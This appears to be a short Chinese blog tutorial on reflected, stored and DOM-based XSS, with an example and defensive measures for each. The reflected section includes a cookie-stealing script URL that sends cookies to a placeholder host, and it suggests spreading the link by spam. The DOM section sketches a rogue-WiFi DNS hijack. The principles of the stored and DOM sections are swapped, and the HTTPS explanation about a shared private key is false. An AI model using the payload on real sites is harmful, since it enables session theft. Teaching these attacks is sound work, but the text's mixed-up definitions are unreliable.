常见的几种XSS攻击
常见的几种XSS攻击一、反射型XSS
1、原理
发请求时,XSS代码出现在URL中,提交给服务端。服务端返回的内容,也带上了这段XSS代码。最后浏览器执行XSS代码。
2、实例
构造获取用户cookies的地址,通过群或者垃圾邮件,来让其他人点击这个地址
http://aaaa/search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script>
3、开发安全措施
(1)、前端在显示服务端数据时候,不仅是标签内容需要过滤、转义,就连属性值也都可能需要。
(2)、后端接收请求时,验证请求是否为攻击请求,比如我们接收的数据是用户年龄,那么在后端,需要判断一下数据是否是Number,攻击则屏蔽。
(3)、避免使用eval,new Function等执行字符串的方法,除非确定字符串和用户输入无关。
(4)、使用innerHTML,document.write的时候,如果数据是用户输入的,那么需要对关键字符都进行过滤与转义。
二、存储型XSS
1、原理
一般是提供一个免费的wifi,但是提供免费wifi的网关会往你访问的任何页面插入一段脚本或者是直接返回一个钓鱼页面,从而植入恶意脚本。这种直接存在于页面,无须经过服务器返回就是基于本地的XSS攻击。
2、实例
(1)、发一篇文章,里面包含了恶意脚本
今天天气不错啊!<script>alert('handsome boy')</script>
(2)、后端没有对文章进行过滤,直接保存文章内容到数据库。
(3)、当其他看这篇文章的时候,包含的恶意脚本就会执行。
3、开发安全措施
(1)、首要是服务端要进行过滤,因为前端的校验可以被绕过。
(2)、前端要以各种方式过滤里面可能的恶意脚本,例如script标签,将特殊字符转换成HTML编码。
三、DOM XSS
1、原理
存储型和反射型的区别就是,提交的XSS代码会存储在服务器端。是通过发表带有恶意跨域脚本的帖子/文章,从而把恶意脚本存储在服务器,每个访问该帖子/文章的人就会触发执行。
2、实例
wifi流量劫持,中间人可以看到用户的每一个请求,可以在页面嵌入恶意代码,使用恶意代码获取用户的信息,可以返回钓鱼页面。
(1)、提供一个免费的wifi。
(2)、开启一个特殊的DNS服务,将所有域名都解析到我们的电脑上,并把Wifi的DHCP-DNS设置为我们的电脑IP。
(3)、之后连上wifi的用户打开任何网站,请求都将被我们截取到。我们根据http头中的host字段来转发到真正服务器上。
(4)、收到服务器返回的数据之后,我们就可以实现网页脚本的注入,并返回给用户。
3、开发安全措施
可以使用HTTPS,HTTPS会在请求数据之前进行一次握手,使得客户端与服务端都有一个私钥,服务端用这个私钥加密,客户端用这个私钥解密,这样即使数据被人截取了,也是加密后的数据。